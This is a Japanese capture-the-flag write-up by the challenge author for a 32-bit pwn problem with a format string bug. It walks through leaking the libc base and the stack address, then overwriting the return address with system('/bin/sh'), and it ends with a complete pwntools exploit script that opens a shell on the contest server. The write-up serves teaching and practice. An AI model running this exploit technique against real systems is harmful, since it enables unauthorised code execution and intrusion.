はじめに
この記事ではInterKosenCTFで出題した問題の解説を書きます。 他の問題のwriteupについては下記リンクから参照してください。
概要
Description: nc pwn.kosenctf.com 9200 File: introduction.tar.gz
32-bit ELF, libcとソースコードが渡されます。なんとFull RELRO + SSP + NX + PIEというセキュリティ機構盛り沢山です。 でも最近のgccはPIEとか標準で付けちゃうから怖い。
$ checksec introduction [*] '/home/ptr/Downloads/introduction/introduction' Arch: i386-32-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
ここでやる気がなくなるかもしれませんが、ソースコードを見るとFormat String Bugがあることにすぐ気付くと思います。 FSBはアドレスのリークが簡単なのでASLRやPIEが掛かっていても恐れる必要はありません。 ただ、今回の問題のポイントはRELROも付いているのでGOT Overwriteができないということです。
解法
特にフラグを読んでくれるような関数はないので、system("/bin/sh")を実行することを目標にしましょう。
system関数や"/bin/sh"という文字列のアドレスを取得するためにlibcのベースアドレスをリークしましょう。
main関数はlibcの__libc_start_main
関数から呼び出されています。
したがって、スタック上には__libc_start_main
関数の途中でmainをcallして次のアドレスがリターンアドレスとして保管されているはずです。
このアドレスをFSBでリークすれば、(libcを持っているので)libcがロードされたアドレスを逆算できます。
gdbでプログラムを起動してmain関数でのスタックの状態を見ると次のようになっています。
gdb-peda$ x/64wx $esp 0xffffcc80: 0x565559a7 0xffffcc9c 0xf7ffcca0 0xf7e8d53e 0xffffcc90: 0xffffccb8 0xf7f6bba0 0x00000027 0x00000008 0xffffcca0: 0xf7e8d340 0x000000c2 0x03c0003f 0x00000009 0xffffccb0: 0x00000000 0x00000000 0x00000076 0x00000000 0xffffccc0: 0x00000000 0x00000000 0x00000000 0xf7fb7000 0xffffccd0: 0xffffcd08 0xffffcd0c 0x000000c2 0xf7e22753 0xffffcce0: 0xffffcd0c 0xffffcd08 0x00000001 0x56555511 0xffffccf0: 0x56555679 0x56556fb4 0x00000001 0x56555902 0xffffcd00: 0x00000001 0xffffcdc4 0xffffcdcc 0xf7e228dd 0xffffcd10: 0xf7fb73c4 0x00008000 0x565558bb 0x8a377f00 0xffffcd20: 0x565558b0 0xf7fb7000 0x00000000 0xf7e0a1c3 0xffffcd30: 0x00000001 0xffffcdc4 0xffffcdcc 0x0000003c ...
最初の方にある0xffffcc9cがbufferのポインタですね。 そこから128バイト先にcanaryがあり、更にその先にsaved ebpとリターンアドレスがあります。 今回の例では0xf7e0a1c3がリターンアドレスです。
gdb-peda$ x/4wx 0xf7e0a1c3 0xf7e0a1c3 <__libc_start_main+243>: 0xe8240489 0x000184f5 0x32e9c931 0x8bffffff
確かに__libc_start_main
から呼び出されており、関数の先頭から243バイト目に戻るようです。
また、このアドレスは(0xffffcd2c - 0xffffcc80) / 4 = 43個目の引数なので、"%43$p"のようなフォーマット文字列で得ることができます。
出力されたアドレスから243を引いて、さらにlibcバイナリ上での__libc_start_main
のアドレスを引けばlibcがロードされたアドレスになります。
私の環境では243でしたが、この値は渡されたバイナリに合わせる必要があります。
もらったlibcを逆アセンブルすると、リターンアドレスはlibcの先頭から0x18e81になることが分かります。
... 00018d90 <__libc_start_main@@GLIBC_2.0>: 18d90: e8 e4 be 11 00 call 134c79 <__frame_state_for@@GLIBC_2.0+0x399> 18d95: 05 6b c2 1b 00 add eax,0x1bc26b ... 18e75: ff 74 24 70 push DWORD PTR [esp+0x70] 18e79: ff 74 24 70 push DWORD PTR [esp+0x70] 18e7d: ff 54 24 70 call DWORD PTR [esp+0x70] 18e81: 83 c4 10 add esp,0x10 18e84: 83 ec 0c sub esp,0xc ...
libcのベースアドレスが求まったら__libc_system
のオフセットを足してアドレスを計算します。("/bin/sh"のアドレスも同様)
さて、次にこの関数を呼ぶ方法を考えます。
ローカル変数でのFSBでは簡単に任意のアドレスが書き換えられるのですが、GOTが使えないのでリターンアドレスを書き換えることにします。
スタック上にはスタック上を指すポインタが複数あり、それをリークすればリターンアドレスが置かれているアドレスも相対的に計算できます。
一番簡単なのはbufferのポインタを使うことでしょう。(グローバル変数のFSBの場合はargvやenvpが使えます。)
先程のスタックレイアウトから、bufferとリターンアドレスの間のサイズは(0xffffcd2c - 0xffffcc80) = 172bytesなので、"%1$p"でbufferのポインタをリークして172足せばリターンアドレスの場所になります。
あとはそこに先程求めた__libc_system
のアドレスと、その引数として"/bin/sh"のアドレスを書き込んでやればよさそうです。
ペイロードにscanfで認識できない文字(空白や改行など)が入った場合は接続を切ってやり直しましょう。
from pwn import * libc = ELF("./libc-2.27.so") libc_const = 241 sock = remote("pwn.kosenctf.com", 9200) payload = '%p.%43$p' sock.recvuntil('First Name: ') sock.sendline(payload) result = sock.recvline() addr_buffer, retaddr = map(lambda x:int(x, 16), result.split('.')) addr_retaddr = addr_buffer + 128 + 16 addr_libc_start_main = retaddr - libc_const print("libc_start_main = " + hex(addr_libc_start_main)) addr_libc = addr_libc_start_main - libc.symbols['__libc_start_main'] print("addr_retaddr = " + hex(addr_retaddr)) print("addr_libc = " + hex(addr_libc)) addr_system = addr_libc + libc.symbols['__libc_system'] addr_binsh = addr_libc + next(libc.search('/bin/sh')) print("<system> " + hex(addr_system)) print("'/bin/sh' " + hex(addr_binsh)) writes = { addr_retaddr + 0: addr_system, addr_retaddr + 8: addr_binsh } payload = fmtstr_payload(7, writes, numbwritten=0, write_size='byte') print(repr(payload)) if '\n' in payload or ' ' in payload or '\r' in payload or '\x00' in payload: print("Bad luck!") exit(1) sock.recvuntil('Family Name: ') sock.sendline(payload) sock.interactive()
あとがき
pwn100に比べると難易度が大きく上がりましたが、FSBはpwnの中でも分かりやすい脆弱性だと思うので200点問題として出題しました。 思った以上に多くのチームが解いてくれて嬉しかったです。